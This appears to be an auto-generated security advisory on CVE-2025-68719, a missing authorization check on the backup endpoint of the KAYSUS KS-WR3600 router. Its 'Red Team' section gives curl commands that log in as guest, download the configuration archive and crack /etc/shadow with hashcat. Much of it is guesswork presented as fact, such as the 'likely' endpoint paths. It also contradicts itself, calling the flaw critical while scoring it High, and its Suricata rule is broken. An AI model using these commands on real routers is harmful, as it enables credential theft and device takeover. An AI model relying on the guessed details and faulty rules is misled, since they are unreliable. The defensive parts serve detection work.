CVE-2025-68719

Executive Summary

CVE-2025-68719 is a critical authentication bypass vulnerability in the KAYSUS KS-WR3600 router running firmware version 1.0.5.9.1. The device mishandles configuration management by failing to enforce proper authorization checks on the backup endpoint. Once any user (including low-privileged or guest accounts) is logged in and maintains an active session, an attacker can directly query the backup endpoint and download a full configuration archive. This archive contains sensitive files such as /etc/shadow, enabling credential recovery and potential full compromise of the device. The vulnerability has a CVSS v3.1 base score of 8.8 (High) due to low attack complexity, network attack vector, and high impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability affects a hardware device (router) and is not related to NPM, PyPI, Go, or Ruby packages. No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs only a valid session (any user level) to exploit.
• User Interaction (UI): None (N) – No user action is required beyond the initial login.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full disclosure of sensitive files (e.g., /etc/shadow).
• Integrity (I): High (H) – Credential recovery can lead to device takeover.
• Availability (A): High (H) – Full compromise can disrupt device operation.

Threat Level: High. The vulnerability is trivial to exploit once a session is established, and the impact includes credential theft and full device compromise.

Deep Dive & Mechanics

The KAYSUS KS-WR3600 router exposes a backup endpoint (likely /cgi-bin/backup or similar) that is intended for administrative configuration backups. The flaw lies in the lack of proper authorization checks on this endpoint. The device only verifies that a user has an active session (i.e., is logged in) but does not enforce role-based access control (RBAC) or require administrative privileges. As a result, any authenticated user—including guest or low-privileged accounts—can trigger a full configuration dump.

The backup archive typically contains:

• /etc/shadow – Hashed passwords for all local users.
• /etc/config/* – Network and service configuration files.
• /etc/passwd – User account information.
• /etc/ssl/* – SSL/TLS certificates and private keys (if present).
• /var/log/* – System logs that may contain sensitive data.

Once an attacker obtains the /etc/shadow file, they can perform offline password cracking (e.g., using hashcat or John the Ripper) to recover plaintext passwords. With administrative credentials, the attacker can then log in to the router's web interface or SSH (if enabled) and gain full control over the device.

The vulnerability is classified under CWE-306: Missing Authentication for Critical Function. The backup endpoint should require administrative privileges but does not.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.0.5.9.1): The backup endpoint likely uses a simple session check without verifying user role:

# Pseudocode of vulnerable implementation
def handle_backup_request(request):
    if request.session.is_valid():
        # No role check - any authenticated user can access
        archive = generate_full_config_archive()
        return send_file(archive)
    else:
        return "Unauthorized", 401

Patched Code (Hypothetical): A patched version would enforce role-based access:

# Pseudocode of patched implementation
def handle_backup_request(request):
    if request.session.is_valid() and request.session.user.role == "admin":
        archive = generate_full_config_archive()
        return send_file(archive)
    else:
        return "Forbidden", 403

Since no official patch is available, users must implement workarounds (see Remediation & Mitigation).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A KAYSUS KS-WR3600 router with firmware 1.0.5.9.1.
• A valid user session (e.g., guest/guest credentials or any low-privilege account).
• Network access to the router's web interface (typically on port 80 or 443).

Exploitation Steps:

1. Login to the router using default or known credentials (e.g., guest:guest).
2. Capture the session cookie (e.g., PHPSESSID or sessionid).
3. Craft a request to the backup endpoint (e.g., /cgi-bin/backup or /backup.cgi).
4. Download the configuration archive (usually a .tar.gz or .zip file).
5. Extract the archive and locate /etc/shadow.
6. Crack the password hashes using hashcat or John the Ripper.

Example curl command:

# Login and capture session cookie
curl -c cookies.txt -d "username=guest&password=guest" http://192.168.1.1/login

# Download backup archive
curl -b cookies.txt -o backup.tar.gz http://192.168.1.1/cgi-bin/backup

# Extract and crack
tar -xzf backup.tar.gz
cat etc/shadow
hashcat -m 1800 -a 0 etc/shadow /usr/share/wordlists/rockyou.txt

Expected Output:

• A .tar.gz file containing the full configuration.
• Cracked passwords for admin or root accounts.

Blue Team (Detection & Defense)

Detection Steps:

1. Monitor for unusual access to backup endpoints (e.g., /cgi-bin/backup, /backup.cgi).
2. Alert on multiple failed login attempts followed by a successful backup download.
3. Monitor for large outbound data transfers from the router (e.g., >1MB in a single request).
4. Check for unauthorized session usage (e.g., guest account accessing admin functions).

Defense Measures:

1. Disable guest accounts and enforce strong passwords for all users.
2. Restrict access to the router's management interface to trusted IPs only (e.g., via firewall rules).
3. Implement network segmentation to isolate the router from untrusted networks.
4. Monitor logs for suspicious activity (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET/POST requests to /cgi-bin/backup or /backup.cgi from non-admin users.
  • Large HTTP responses (e.g., >1MB) from the router's web interface.
  • Outbound connections from the router to unknown IPs (e.g., for data exfiltration).

• File IOCs:

  • Presence of /etc/shadow in downloaded archives.
  • Unauthorized configuration backup files on external systems.

• Behavioral IOCs:

  • Guest or low-privilege accounts accessing backup functionality.
  • Multiple failed login attempts followed by a successful backup download.
  • Unusual SSH or telnet sessions from unknown IPs after credential cracking.

Detection Engineering

YARA Rule

rule CVE_2025_68719_Backup_Archive {
    meta:
        description = "Detects configuration backup archives from KAYSUS KS-WR3600 routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68719"
    strings:
        $shadow = "/etc/shadow" nocase
        $config = "/etc/config" nocase
        $passwd = "/etc/passwd" nocase
        $header = "KS-WR3600" nocase
    condition:
        ($shadow or $config or $passwd) and $header
}

Sigma Rule

title: CVE-2025-68719 - Unauthorized Backup Access on KAYSUS KS-WR3600
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to download the full configuration archive from a KAYSUS KS-WR3600 router by non-admin users.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68719
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/cgi-bin/backup'
            - '/backup.cgi'
        sc-status: 200
        cs-user-agent: '*'
    condition: selection
falsepositives:
    - Legitimate admin backups (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-68719 - KAYSUS KS-WR3600 Backup Endpoint Access";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/backup"; http_uri;
    content:"/backup.cgi"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-68719;
)

Remediation & Mitigation

Immediate Actions:

1. Disable guest accounts and remove any unnecessary user accounts.
2. Change all default passwords to strong, unique passwords.
3. Restrict management access to trusted IP addresses only (e.g., via firewall ACLs).
4. Monitor logs for unauthorized backup access attempts.

Long-Term Fixes:

• Vendor Patch: Contact KAYSUS for an official firmware update. If unavailable, consider replacing the device.
• Workaround: Implement a reverse proxy (e.g., Nginx) in front of the router to block access to the backup endpoint except from admin IPs.
• Network Segmentation: Place the router in a separate VLAN with strict access controls.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division. For questions, contact: security@valters-it.com.